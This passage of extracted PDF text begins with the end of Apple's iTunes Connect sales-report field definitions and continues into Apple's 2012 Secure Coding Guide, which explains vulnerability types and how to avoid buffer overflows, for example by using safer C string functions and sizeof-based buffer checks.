product, it is best to include this identifier. Customer Price DECIMAL(18,2) Up to 18 Characters Retail Price displayed on the App Store and charged to the customer. Promo Code VARCHAR(10) Up to 10 Characters If the transaction was part of a promotion this field will contain a value. For all non-promotional items this field will be blank - See Appendix G Parent Identifier VARCHAR(100) Up to 100 Characters For In-App Purchases this will be populated with the SKU from the originating app. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 33Subscription VARCHAR(10) Up to 10 Characters This field defines whether an auto-renewable subscription purchase is a new purchase or a renewal. See Appendix I. Period VARCHAR(30) Up to 30 Characters This field defines the duration of an auto-renewable subscription purchase. See Appendix I. Download Date (PST) TIMESTAMP(0) Date in MM/DD/YYYY Download Date Customer Identifier DECIMAL(18,0) Up to 18 Characters Customer Identification Report Date (Local) DATE Date in MM/DD/YYYY Report Date Sales/Return CHAR(1) Up to 1 character S or R; R is always a refund, R is not a reversal Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 34 Secure Coding GuideContents Introduction to Secure Coding Guide 7 At a Glance 7 Hackers, Crackers, and Attackers 7 No Platform Is Immune 8 How to Use This Document 9 See Also 10 Types of Security Vulnerabilities 11 Buffer Overflows 11 Unvalidated Input 12 Race Conditions 13 Interprocess Communication 13 Insecure File Operations 13 Access Control Problems 14 Secure Storage and Encryption 15 Social Engineering 16 Avoiding Buffer Overflows and Underflows 17 Stack Overflows 18 Heap Overflows 20 String Handling 22 Calculating Buffer Sizes 25 Avoiding Integer Overflows and Underflows 27 Detecting Buffer Overflows 28 Avoiding Buffer Underflows 29 Validating Input and Interprocess Communication 33 Risks of Unvalidated Input 33 Causing a Buffer Overflow 33 Format String Attacks 34 URLs and File Handling 36 Code Insertion 37 Social Engineering 37 Modifications to Archived Data 38 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 2Fuzzing 39 Interprocess Communication and Networking 40 Race Conditions and Secure File Operations 43 Avoiding Race Conditions 43 Time of Check Versus Time of Use 44 Signal Handling 46 Securing Signal Handlers 46 Securing File Operations 47 Check Result Codes 47 Watch Out for Hard Links 48 Watch Out for Symbolic Links 49 Case-Insensitive File Systems Can Thwart Your Security Model 49 Create Temporary Files Correctly 50 Files in Publicly Writable Directories Are Dangerous 51 Other Tips 57 Elevating Privileges Safely 59 Circumstances Requiring Elevated Privileges 59 The Hostile Environment and the Principle of Least Privilege 60 Launching a New Process 61 Executing Command-Line Arguments 61 Inheriting File Descriptors 61 Abusing Environment Variables 62 Modifying Process Limits 62 File Operation Interference 63 Avoiding Elevated Privileges 63 Running with Elevated Privileges 63 Calls to Change Privilege Level 64 Avoiding Forking Off a Privileged Process 65 authopen 65 launchd 66 Limitations and Risks of Other Mechanisms 67 Factoring Applications 69 Example: Preauthorizing 69 Helper Tool Cautions 71 Authorization and Trust Policies 72 Security in a KEXT 72 Designing Secure User Interfaces 73 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 3 ContentsUse Secure Defaults 73 Meet Users’ Expectations for Security 74 Secure All Interfaces 75 Place Files in Secure Locations 75 Make Security Choices Clear 76 Fight Social Engineering Attacks 78 Use Security APIs When Possible 79 Designing Secure Helpers and Daemons 81 Avoid Puppeteering 81 Use Whitelists 82 Use Abstract Identifiers and Structures 82 Use the Smell Test 83 Treat Both App and Helper as Hostile 83 Run Daemons as Unique Users 84 Start Other Processes Safely 84 Security Development Checklists 86 Use of Privilege 86 Data, Configuration, and Temporary Files 88 Network Port Use 89 Audit Logs 91 Client-Server Authentication 93 Integer and Buffer Overflows 97 Cryptographic Function Use 97 Installation and Loading 98 Use of External Tools and Libraries 100 Kernel Security 101 Third-Party Software Security Guidelines 103 Respect Users’ Privacy 103 Provide Upgrade Information 103 Store Information in Appropriate Places 103 Avoid Requiring Elevated Privileges 104 Implement Secure Development Practices 104 Test for Security 104 Helpful Resources 105 Document Revision History 106 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 4 ContentsGlossary 107 Index 110 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 5 ContentsFigures, Tables, and Listings Avoiding Buffer Overflows and Underflows 17 Figure 2-1 Schematic view of the stack 19 Figure 2-2 Stack after malicious buffer overflow 20 Figure 2-3 Heap overflow 21 Figure 2-4 C string handling functions and buffer overflows 22 Figure 2-5 Buffer overflow crash log 29 Table 2-1 String functions to use and avoid 23 Table 2-2 Avoid hard-coded buffer sizes 25 Table 2-3 Avoid unsafe concatenation 26 Race Conditions and Secure File Operations 43 Table 4-1 C file functions to avoid and to use 55 Elevating Privileges Safely 59 Listing 5-1 Non-privileged process 70 Listing 5-2 Privileged process 71 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 6Secure coding is the practice of writing programs that are resistant to attack by malicious or mischievous people or programs. Secure coding helps protect a user’s data from theft or corruption. In addition, an insecure program can provide accessfor an attacker to take control of a server or a user’s computer, resulting in anything from a denial of service to a single user to the compromise of secrets, loss of service, or damage to the systems of thousands of users. Secure coding is important for all software; if you write any code that runs on Macintosh computers or on iOS devices, from scripts for your own use to commercial software applications, you should be familiar with the information in this document. At a Glance Every program is a potential target. Attackers will try to find security vulnerabilities in your applications or servers. They will then try to use these vulnerabilities to steal secrets, corrupt programs and data, and gain control of computer systems and networks. Your customers’ property and your reputation are at stake. Security is notsomething that can be added to software as an afterthought; just as a shed made out of cardboard cannot be made secure by adding a padlock to the door, an insecure tool or application may require extensive redesign to secure it. You must identify the nature of the threats to your software and incorporate secure coding practices throughout the planning and development of your product. This chapter explains the types of threatsthat yoursoftware may face. Other chaptersin this document describe specific types of vulnerabilities and give guidance on how to avoid them. Hackers, Crackers, and Attackers Contrary to the usage by most news media, within the computer industry the term hacker refers to an expert programmer—one who enjoyslearning about the intricacies of code or an operating system. In general, hackers are not malicious. When most hackers find security vulnerabilities in code, they inform the company or organization that’s responsible for the code so that they can fix the problem. Some hackers—especially if they feel their warnings are being ignored—publish the vulnerabilities or even devise and publish exploits (code that takes advantage of the vulnerability). 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 7 Introduction to Secure Coding GuideThe malicious individuals who break into programs and systems in order to do damage or to steal something are referred to as crackers, attackers, or black hats. Most attackers are not highly skilled, but take advantage of published exploit code and known techniques to do their damage. People (usually, though not always, young men) who use published code (scripts) to attack software and computer systems are sometimes called script kiddies. Attackers may be motivated by a desire to steal money, identities, and othersecretsfor personal gain; corporate secrets for their employer’s or their own use; or state secrets for use by hostile governments or terrorist organizations. Some crackers break into applications or operating systems just to show that they can do it; nevertheless, they can cause considerable damage. Because attacks can be automated and replicated, any weakness, no matter how slight, can be exploited. The large number of insiders who are attacking systems is of importance to security design because, whereas malicious hackers and script kiddies are most likely to rely on remote access to computers to do their dirty work, insiders might have physical access to the computer being attacked. Your software must be resistant to both attacks over a network and attacks by people sitting at the computer keyboard—you cannot rely on firewalls and server passwords to protect you. No Platform Is Immune So far, OS X has not fallen prey to any major, automated attack like the MyDoom virus. There are several reasons for this. One is that OS X is based on open source software such as BSD; many hackers have searched this software over the years looking for security vulnerabilities, so that not many vulnerabilities remain. Another is that the OS X turns off all routable networking services by default. Also, the email and internet clients used most commonly on OS X do not have privileged access to the operating system and are less vulnerable to attack than those used on some other common operating systems. Finally, Apple actively reviewsthe operating system and applications for security vulnerabilities, and issues downloadable security updates frequently. iOS is based on OS X and shares many of its security characteristics. In addition, it is inherently more secure than even OS X because each application is restricted in the files and system resources it can access. Beginning in version 10.7, Mac apps can opt into similar protection. That’s the good news. The bad news is that applications and operating systems are constantly under attack. Every day, black hat hackers discover new vulnerabilities and publish exploit code. Criminals and script kiddies then use that exploit code to attack vulnerable systems. Also, security researchers have found many vulnerabilities on a variety of systems that, if exploited, could have resulted in loss of data, allowing an attacker to steal secrets, or enabling an attacker to run code on someone else’s computer. Introduction to Secure Coding Guide At a Glance 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 8A large-scale, widespread attack is not needed to cause monetary and other damages; a single break-in is sufficient if the system broken into contains valuable information. Although major attacks of viruses or worms get a lot of attention from the media, the destruction or compromising of data on a single computer is what matters to the average user. For your users’sake, you should take every security vulnerability seriously and work to correct known problems quickly. If every Macintosh and iOS developer followsthe advice in this document and other books on electronic security, and if the owner of each Macintosh takes common-sense precautions such as using strong passwords and encrypting sensitive data, then OS X and iOS will maintain their reputationsfor being safe, reliable operating systems, and your company’s products will benefit from being associated with OS X or iOS. How to Use This Document This document assumes that you have already read Security Overview. The document begins with “Types of Security Vulnerabilities” (page 11), which gives a brief introduction to the nature of each of the types of security vulnerability commonly found in software. This chapter provides background information that you should understand before reading the other chapters in the document. If you’re not sure what a race condition is, for example, or why it poses a security risk, this chapter is the place to start. The remaining chapters in the document discuss specific types of security vulnerabilities in some detail. These chapters can be read in any order, or as suggested by the software development checklist in “Security Development Checklists” (page 86). ● “Avoiding Buffer Overflows And Underflows” (page 17) describes the various types of buffer overflows and explains how to avoid them. ● “Validating Input And Interprocess Communication” (page 33) discusses why and how you must validate every type of input your program receives from untrusted sources. ● “Race Conditions and Secure File Operations” (page 43) explains how race conditions occur, discusses ways to avoid them, and describes insecure and secure file operations. ● “Elevating Privileges Safely” (page 59) describes how to avoid running code with elevated privileges and what to do if you can’t avoid it entirely. ● “Designing Secure User Interfaces” (page 73) discusses how the user interface of a program can enhance or compromise security and gives some guidance on how to write a security-enhancing UI. ● “Designing Secure Helpers And Daemons” (page 81) describes how to design helper applications in ways that are conducive to privilege separation. Introduction to Secure Coding Guide How to Use This Document 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 9In addition, the appendix “Security Development Checklists” (page 86) provides a convenient list of tasks that you should perform before shipping an application, and the appendix “Third-Party Software Security Guidelines” (page 103) provides a list of guidelines for third-party applications bundled with OS X. See Also This document concentrates on security vulnerabilities and programming practices of special interest to developers using OS X or iOS. For discussions of secure programming of interest to all programmers, see the following books and documents: ● See Viega and McGraw, Building Secure Software , Addison Wesley, 2002; for a general discussion of secure programming, especially as it relates to C programming and writing scripts. ● SeeWheeler, Secure Programming for Linux andUnixHOWTO, available athttp://www.dwheeler.com/secureprograms/; for discussions ofseveral types ofsecurity vulnerabilities and programming tipsfor UNIX-based operating systems, most of which apply to OS X. ● See Cranor and Garfinkel, Security and Usability: Designing Secure Systems that People Can Use , O’Reilly, 2005; for information on writing user interfaces that enhance security. For documentation of security-related application programming interfaces (APIs) for OS X (and iOS, where noted), see the following Apple documents: ● For an introduction to some security concepts and to learn about the security features available in OS X, see Security Overview. ● For information on secure networking, see Cryptographic Services Guide , Secure Transport Reference and CFNetwork Programming Guide . ● For information on OS X authorization and authentication APIs, see Authentication, Authorization, and Permissions Guide , Authorization Services Programming Guide , Authorization Services C Reference , and Security Foundation Framework Reference . ● If you are using digital certificates for authentication, see Cryptographic Services Guide , Certificate, Key, and Trust Services Reference (iOS version available) and Certificate, Key, and Trust Services Programming Guide . ● For secure storage of passwords and other secrets, see Cryptographic Services Guide , Keychain Services Reference (iOS version available) and Keychain Services Programming Guide . For information about security in web application design, visit http://www.owasp.org/. Introduction to Secure Coding Guide See Also 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 10Most software security vulnerabilities fall into one of a small set of categories: ● buffer overflows ● unvalidated input ● race conditions ● access-control problems ● weaknesses in authentication, authorization, or cryptographic practices This chapter describes the nature of each type of vulnerability. Buffer Overflows A buffer overflow occurs when an application attempts to write data past the end (or, occasionally, past the beginning) of a buffer. Buffer overflows can cause applications to crash, can compromise data, and can provide an attack vector for further privilege escalation to compromise the system on which the application is running. Books on software security invariably mention buffer overflows as a major source of vulnerabilities. Exact numbers are hard to come by, but as an indication, approximately 20% of the published exploits reported by the United States Computer Emergency Readiness Team (US-CERT) for 2004 involved buffer overflows. Any application or system software that takes input from the user, from a file, or from the network has to store that input, at least temporarily. Except in special cases, most application memory isstored in one of two places: ● stack—A part of an application’s addressspace thatstores data that isspecific to a single call to a particular function, method, block, or other equivalent construct. ● heap—General purpose storage for an application. Data stored in the heap remains available as long as the application is running (or until the application explicitly tells the operating system that it no longer needs that data). Class instances, data allocated with malloc, core foundation objects, and most other application data resides on the heap. (Note, however, that the local variables that actually point to the data are stored in the stack.) 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 11 Types of Security VulnerabilitiesBuffer overflow attacks generally occur by compromising either the stack, the heap, or both. For more information, read “Avoiding Buffer Overflows And Underflows” (page 17) Unvalidated Input As a general rule, you should check all input received by your program to make sure that the data isreasonable. For example, a graphics file can reasonably contain an image that is 200 by 300 pixels, but cannot reasonably contain an image that is 200 by -1 pixels. Nothing prevents a file from claiming to contain such an image, however (apart from convention and common sense). A naive program attempting to read such a file would attempt to allocate a buffer of an incorrect size, leading to the potential for a heap overflow attack or other problem. For this reason, you must check your input data carefully. This process is commonly known as input validation or sanity checking. Any input received by your program from an untrusted source is a potential target for attack. (In this context, an ordinary user is an untrusted source.) Examples of input from an untrusted source include (but are not restricted to): ● text input fields ● commands passed through a URL used to launch the program ● audio, video, or graphics files provided by users or other processes and read by the program ● command line input ● any data read from an untrusted server over a network ● any untrusted data read from a trusted server over a network (user-submitted HTML or photos on a bulletin board, for example) Hackers look at every source of input to the program and attempt to pass in malformed data of every type they can imagine. If the program crashes or otherwise misbehaves, the hacker then triesto find a way to exploit the problem. Unvalidated-input exploits have been used to take control of operating systems, steal data, corrupt users’ disks, and more. One such exploit was even used to “jail break” iPhones. “Validating Input And Interprocess Communication” (page 33) describes common types of input-validation vulnerabilities and what to do about them. Types of Security Vulnerabilities Unvalidated Input 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 12Race Conditions A race condition exists when changes to the order of two or more events can cause a change in behavior. If the correct order of execution is required for the proper functioning of the program, this is a bug. If an attacker can take advantage of the situation to insert malicious code, change a filename, or otherwise interfere with the normal operation of the program, the race condition is a security vulnerability. Attackers can sometimes take advantage of small time gaps in the processing of code to interfere with the sequence of operations, which they then exploit. For more information about race conditions and how to prevent them, read “Race Conditions and Secure File Operations” (page 43). Interprocess Communication Separate processes—either within a single program or in two different programs—sometimes have to share information. Common methods include using shared memory or using some messaging protocol, such as Sockets, provided by the operating system. These messaging protocols used for interprocess communication are often vulnerable to attack; thus, when writing an application, you must always assume that the process at the other end of your communication channel could be hostile. For more information on how to perform secure interprocess communication, read “Validating Input And Interprocess Communication” (page 33). Insecure File Operations In addition to time-of-check–time-of-use problems, many other file operations are insecure. Programmers often make assumptions about the ownership, location, or attributes of a file that might not be true. For example, you might assume that you can always write to a file created by your program. However, if an attacker can change the permissions or flags on that file after you create it, and if you fail to check the result code after a write operation, you will not detect the fact that the file has been tampered with. Examples of insecure file operations include: ● writing to or reading from a file in a location writable by another user ● failing to make the right checks for file type, device ID, links, and other settings before using a file ● failing to check the result code after a file operation ● assuming that if a file has a local pathname, it has to be a local file These and other insecure file operations are discussed in more detail in “Securing File Operations” (page 47). Types of Security Vulnerabilities Race Conditions 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 13Access Control Problems Access control is the process of controlling who is allowed to do what. This ranges from controlling physical access to a computer—keeping your servers in a locked room, for example—to specifying who has access to a resource (a file, for example) and what they are allowed to do with that resource (such as read only). Some access control mechanisms are enforced by the operating system,some by the individual application orserver, some by a service (such as a networking protocol) in use. Many security vulnerabilities are created by the careless or improper use of access controls, or by the failure to use them at all. Much of the discussion of security vulnerabilities in the software security literature is in terms of privileges, and many exploits involve an attacker somehow gaining more privileges than they should have. Privileges, also called permissions, are access rights granted by the operating system, controlling who is allowed to read and write files, directories, and attributes of files and directories (such as the permissions for a file), who can execute a program, and who can perform other restricted operations such as accessing hardware devices and making changes to the network configuration. File permissions and access control in OS X are discussed in File System Programming Guide . Of particular interest to attackers is the gaining of root privileges, which refers to having the unrestricted permission to perform any operation on the system. An application running with root privileges can access everything and change anything. Many security vulnerabilities involve programming errors that allow an attacker to obtain root privileges. Some such exploits involve taking advantage of buffer overflows or race conditions, which in some special circumstances allow an attacker to escalate their privileges. Others involve having access to system files that should be restricted or finding a weakness in a program—such as an application installer—that is already running with root privileges. For this reason, it’s important to always run programs with as few privileges as possible. Similarly, when it is necessary to run a program with elevated privileges, you should do so for as short a time as possible. Much access control is enforced by applications, which can require a user to authenticate before granting authorization to perform an operation. Authentication can involve requesting a user name and password, the use of a smart card, a biometric scan, or some other method. If an application calls the OS X Authorization Services application interface to authenticate a user, it can automatically take advantage of whichever authentication method is available on the user’s system. Writing your own authentication code is a less secure alternative, as it might afford an attacker the opportunity to take advantage of bugs in your code to bypass your authentication mechanism, or it might offer a less secure authentication method than the standard one used on the system. Authorization and authentication are described further in Security Overview. Digital certificates are commonly used—especially over the Internet and with email—to authenticate users and servers, to encrypt communications, and to digitally sign data to ensure that it has not been corrupted and was truly created by the entity that the user believes to have created it. Incorrect or careless use of digital certificates can lead to security vulnerabilities. For example, a server administration program shipped with a Types of Security Vulnerabilities Access Control Problems 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 14standard self-signed certificate, with the intention that the system administrator would replace it with a unique certificate. However, many system administrators failed to take this step, with the result that an attacker could decrypt communication with the server. [CVE-2004-0927] It’s worth noting that nearly all access controls can be overcome by an attacker who has physical access to a machine and plenty of time. For example, no matter what you set a file’s permissions to, the operating system cannot prevent someone from bypassing the operating system and reading the data directly off the disk. Only restricting access to the machine itself and the use of robust encryption techniques can protect data from being read or corrupted under all circumstances. The use of access controls in your program is discussed in more detail in “Elevating Privileges Safely” (page 59). Secure Storage and Encryption Encryption can be used to protect a user’s secrets from others, either during data transmission or when the data is stored. (The problem of how to protect a vendor’s data from being copied or used without permission is not addressed here.) OS X provides a variety of encryption-based security options, such as ● FileVault ● the ability to create encrypted disk images ● keychain ● certificate-based digital signatures ● encryption of email ● SSL/TLS secure network communication ● Kerberos authentication The list of security options in iOS includes ● passcode to prevent unauthorized use of the device ● data encryption ● the ability to add a digital signature to a block of data ● keychain ● SSL/TLS secure network communication Types of Security Vulnerabilities Secure Storage and Encryption 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 15Each service has appropriate uses, and each haslimitations. For example, FileVault, which encryptsthe contents of a user’s root volume (in OS X v10.7 and later) or home directory (in earlier versions), is a very important security feature for shared computers or computers to which attackers might gain physical access, such as laptops. However, it is not very helpful for computers that are physically secure but that might be attacked over the network while in use, because in that case the home directory is in an unencrypted state and the threat is from insecure networks or shared files. Also, FileVault is only as secure as the password chosen by the user—if the userselects an easily guessed password, or writesit down in an easily found location, the encryption is useless. It is a serious mistake to try to create your own encryption method or to implement a published encryption algorithm yourself unless you are already an expert in the field. It is extremely difficult to write secure, robust encryption code that generates unbreakable ciphertext, and it is almost always a security vulnerability to try. For OS X, if you need cryptographic services beyond those provided by the OS X user interface and high-level programming interfaces, you can use the open-source CSSM Cryptographic Services Manager. See the documentation provided with the Open Source security code, which you can download at http://developer.apple.com/darwin/projects/security/. For iOS, the development APIs should provide all the services you need. For more information about OS X and iOS security features, read Authentication, Authorization, and Permissions Guide . Social Engineering Often the weakest link in the chain ofsecurity features protecting a user’s data and software isthe user himself. As developers eliminate buffer overflows, race conditions, and othersecurity vulnerabilities, attackersincreasingly concentrate on fooling users into executing malicious code or handing over passwords, credit-card numbers, and other private information. Tricking a user into giving up secrets or into giving access to a computer to an attacker is known as social engineering. For example, in February of 2005, a large firm that maintains credit information, Social Security numbers, and other personal information on virtually all U.S. citizens revealed that they had divulged information on at least 150,000 people to scam artists who had posed as legitimate businessmen. According to Gartner (www.gartner.com), phishing attacks cost U.S. banks and credit card companies about $1.2 billion in 2003, and this number is increasing. They estimate that between May 2004 and May 2005, approximately 1.2 million computer users in the United States suffered losses caused by phishing. Software developers can counter such attacks in two ways: through educating their users, and through clear and well-designed user interfaces that give users the information they need to make informed decisions. For more advice on how to design a user interface that enhances security, see “Designing Secure User Interfaces” (page 73). Types of Security Vulnerabilities Social Engineering 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 16Buffer overflows, both on the stack and on the heap, are a major source of security vulnerabilities in C, Objective-C, and C++ code. This chapter discusses coding practicesthat will avoid buffer overflow and underflow problems, lists tools you can use to detect buffer overflows, and provides samples illustrating safe code. Every time your program solicits input (whether from a user, from a file, over a network, or by some other means), there is a potential to receive inappropriate data. For example, the input data might be longer than what you have reserved room for in memory. When the input data islonger than will fit in the reserved space, if you do not truncate it, that data will overwrite other data in memory. When this happens, it is called a buffer overflow. If the memory overwritten contained data essential to the operation of the program, this overflow causes a bug that, being intermittent, might be very hard to find. If the overwritten data includes the address of other code to be executed and the user has done this deliberately, the user can point to malicious code that your program will then execute. Similarly, when the input data is or appearsto be shorter than the reserved space (due to erroneous assumptions, incorrect length values, or copying raw data as a C string), this is called a buffer underflow. This can cause any number of problems from incorrect behavior to leaking data that is currently on the stack or heap. Although most programming languages check input againststorage to prevent buffer overflows and underflows, C, Objective-C, and C++ do not. Because many programs link to C libraries, vulnerabilities in standard libraries can cause vulnerabilities even in programs written in “safe” languages. For thisreason, even if you are confident that your code isfree of buffer overflow problems, you should limit exposure by running with the least privileges possible. See “Elevating Privileges Safely” (page 59) for more information on this topic. Keep in mind that obvious forms of input, such as strings entered through dialog boxes, are not the only potential source of malicious input. For example: 1. Buffer overflowsin one operating system’s help system could be caused by maliciously prepared embedded images. 2. A commonly-used media player failed to validate a specific type of audio files, allowing an attacker to execute arbitrary code by causing a buffer overflow with a carefully crafted audio file. [ 1 CVE-2006-1591 2 CVE-2006-1370] There are two basic categories of overflow: stack overflows and heap overflows. These are described in more detail in the sections that follow. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 17 Avoiding Buffer Overflows and UnderflowsStack Overflows In most operating systems, each application has a stack (and multithreaded applications have one stack per thread). This stack contains storage for locally scoped data. The stack is divided up into units called stack frames. Each stack frame contains all data specific to a particular call to a particular function. This data typically includes the function’s parameters, the complete set of local variables within that function, and linkage information—that is, the address of the function call itself, where execution continues when the function returns). Depending on compiler flags, it may also contain the address of the top of the next stack frame. The exact content and order of data on the stack depends on the operating system and CPU architecture. Each time a function is called, a new stack frame is added to the top of the stack. Each time a function returns, the top stack frame is removed. At any given point in execution, an application can only directly access the data in the topmost stack frame. (Pointers can get around this, but it is generally a bad idea to do so.) This design makes recursion possible because each nested call to a function gets its own copy of local variables and parameters. Avoiding Buffer Overflows and Underflows Stack Overflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 18Figure 2-1 illustrates the organization of the stack. Note that this figure is schematic only; the actual content and order of data put on the stack depends on the architecture of the CPU being used. See OS X ABI Function Call Guide for descriptions of the function-calling conventions used in all the architectures supported by OS X. Figure 2-1 Schematic view of the stack Function A Function B Function C Function A data Parameters for call to function B Function A return address Function B data Parameters for call to function C Function B return address Function C data Space for parameters for next subroutine call Function C return address In general, an application should check all input data to make sure it is appropriate for the purpose intended (for example, making sure that a filename is of legal length and contains no illegal characters). Unfortunately, in many cases, programmers do not bother, assuming that the user will not do anything unreasonable. This becomes a serious problem when the application stores that data into a fixed-size buffer. If the user is malicious (or opens a file that contains data created by someone who is malicious), he or she might provide data that is longer than the size of the buffer. Because the function reserves only a limited amount of space on the stack for this data, the data overwrites other data on the stack. As shown in Figure 2-2, a clever attacker can use this technique to overwrite the return address used by the function, substituting the address of his own code. Then, when function C completes execution, rather than returning to function B, it jumps to the attacker’s code. Avoiding Buffer Overflows and Underflows Stack Overflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 19Because the application executes the attacker’s code, the attacker’s code inherits the user’s permissions. If the user islogged on as an administrator (the default configuration in OS X), the attacker can take complete control of the computer, reading data from the disk, sending emails, and so forth. (In iOS, applications are much more restricted in their privileges and are unlikely to be able to take complete control of the device.) Figure 2-2 Stack after malicious buffer overflow Function A Function B Function C Function A data Parameters for call to function B Function A return address Function B data Parameters for call to function C Function B return address Function C data Space for parameters for next subroutine call Function C return address Parameter overflow Address of attackerʼs code In addition to attacks on the linkage information, an attacker can also alter program operation by modifying local data and function parameters on the stack. For example, instead of connecting to the desired host, the attacker could modify a data structure so that your application connects to a different (malicious) host. Heap Overflows As mentioned previously, the heap is used for all dynamically allocated memory in your application. When you use malloc, new, or equivalent functions to allocate a block of memory or instantiate an object, the memory that backs those pointers is allocated on the heap. Avoiding Buffer Overflows and Underflows Heap Overflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 20Because the heap is used to store data but is not used to store the return address value of functions and methods, and because the data on the heap changes in a nonobvious way as a program runs, it is less obvious how an attacker can exploit a buffer overflow on the heap. To some extent, it is this nonobviousness that makes heap overflows an attractive target—programmers are less likely to worry about them and defend against them than they are for stack overflows. Figure 2-1 illustrates a heap overflow overwriting a pointer. Figure 2-3 Heap overflow Buffer overflow Data Buffer Data Pointer Data Data Data Data In general, exploiting a buffer overflow on the heap is more challenging than exploiting an overflow on the stack. However, many successful exploits have involved heap overflows. There are two ways in which heap overflows are exploited: by modifying data and by modifying objects. An attacker can exploit a buffer overflow on the heap by overwriting critical data, either to cause the program to crash or to change a value that can be exploited later (overwriting a stored user ID to gain additional access, for example). Modifying this data is known as a non-control-data attack. Much of the data on the heap is generated internally by the program rather than copied from user input;such data can be in relatively consistent locations in memory, depending on how and when the application allocates it. Avoiding Buffer Overflows and Underflows Heap Overflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 21An attacker can also exploit a buffer overflow on the heap by overwriting pointers. In many languages such as C++ and Objective-C, objects allocated on the heap contain tables of function and data pointers. By exploiting a buffer overflow to change such pointers, an attacker can potentially substitute different data or even replace the instance methods in a class object. Exploiting a buffer overflow on the heap might be a complex, arcane problem to solve, but crackers thrive on just such challenges. For example: 1. A heap overflow in code for decoding a bitmap image allowed remote attackersto execute arbitrary code. 2. A heap overflow vulnerability in a networking server allowed an attacker to execute arbitrary code by sending an HTTP POST request with a negative “Content-Length” header. [ 1 CVE-2006-0006 2 CVE-2005-3655] String Handling Strings are a common form of input. Because many string-handling functions have no built-in checks for string length, strings are frequently the source of exploitable buffer overflows. Figure 2-4 illustrates the different ways three string copy functions handle the same over-length string. Figure 2-4 C string handling functions and buffer overflows L A R G E R \0 L A R G E L A R G \0 Char destination[5]; char *source = “LARGER”; strcpy(destination, source); strncpy(destination, source, sizeof(destination)); strlcpy(destination, source, sizeof(destination)); As you can see, the strcpy function merely writes the entire string into memory, overwriting whatever came after it. The strncpy function truncates the string to the correct length, but without the terminating null character. When this string is read, then, all of the bytes in memory following it, up to the next null character, might be read as part of the string. Although this function can be used safely, it is a frequent source of programmer Avoiding Buffer Overflows and Underflows String Handling 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 22mistakes, and thus is regarded as moderately unsafe. To safely use strncpy, you must either explicitly zero the last byte of the buffer after calling strncpy or pre-zero the buffer and then pass in a maximum length that is one byte smaller than the buffer size. Only the strlcpy function is fully safe, truncating the string to one byte smaller than the buffer size and adding the terminating null character. Table 2-1 summarizes the common C string-handling routines to avoid and which to use instead. Table 2-1 String functions to use and avoid Don’t use these functions Use these instead strcat strlcat strcpy strlcpy strncat strlcat strncpy strlcpy snprintf or asprintf (See note) sprintf vsnprintf or vasprintf (See note) vsprintf fgets (See note) gets Avoiding Buffer Overflows and Underflows String Handling 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 23Security Note for snprintf and vsnprintf: The functions snprintf, vsnprintf, and variants are dangerous if used incorrectly. Although they do behave functionally like strlcat and similar in that they limit the bytes written to n-1, the length returned by these functions is the length that would have been printed if n were infinite . For this reason, you must not use this return value to determine where to null-terminate the string or to determine how many bytes to copy from the string at a later time. Security Note for fgets: Although the fgets function provides the ability to read a limited amount of data, you must be careful when using it. Like the other functions in the “safer” column, fgets alwaysterminatesthe string. However, unlike the other functionsin that column, it takes a maximum number of bytes to read, not a buffer size. In practical terms, this means that you must always pass a size value that is one fewer than the size of the buffer to leave room for the null termination. If you do not, the fgets function will dutifully terminate the string past the end of your buffer, potentially overwriting whatever byte of data follows it. You can also avoid string handling buffer overflows by using higher-level interfaces. ● If you are using C++, the ANSI C++ string class avoids buffer overflows, though it doesn’t handle non-ASCII encodings (such as UTF-8). ● If you are writing code in Objective-C, use the NSString class. Note that an NSString object has to be converted to a C string in order to be passed to a C routine, such as a POSIX function. ● If you are writing code in C, you can use the Core Foundation representation of a string, referred to as a CFString, and the string-manipulation functions in the CFString API. The Core Foundation CFString is “toll-free bridged” with its Cocoa Foundation counterpart, NSString. This means that the Core Foundation type is interchangeable in function or method calls with its equivalent Foundation object. Therefore, in a method where you see an NSString * parameter, you can pass in a value of type CFStringRef, and in a function where you see a CFStringRef parameter, you can pass in an NSString instance. This also applies to concrete subclasses of NSString. See CFString Reference , Foundation Framework Reference , and Carbon-Cocoa IntegrationGuide formore details on using these representations of strings and on converting between CFString objects and NSString objects. Avoiding Buffer Overflows and Underflows String Handling 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 24Calculating Buffer Sizes When working with fixed-length buffers, you should always use sizeof to calculate the size of a buffer, and then make sure you don’t put more data into the buffer than it can hold. Even if you originally assigned a static size to the buffer, either you or someone else maintaining your code in the future might change the buffer size but fail to change every case where the buffer is written to. The first example, Table 2-2, shows two ways of allocating a character buffer 1024 bytes in length, checking the length of an input string, and copying it to the buffer. Table 2-2 Avoid hard-coded buffer sizes Instead of this: Do this: #define BUF_SIZE 1024 ... char buf[BUF_SIZE]; ... if (size < BUF_SIZE) { ... } char buf[1024]; ... if (size <= 1023) { ... } char buf[1024]; ... if (size < sizeof(buf)) { ... } char buf[1024]; ... if (size < 1024) { ... } The two snippets on the left side are safe as long as the original declaration of the buffer size is never changed. However, if the buffer size gets changed in a later version of the program without changing the test, then a buffer overflow will result. The two snippets on the right side show safer versions of this code. In the first version, the buffer size is set using a constant that is set 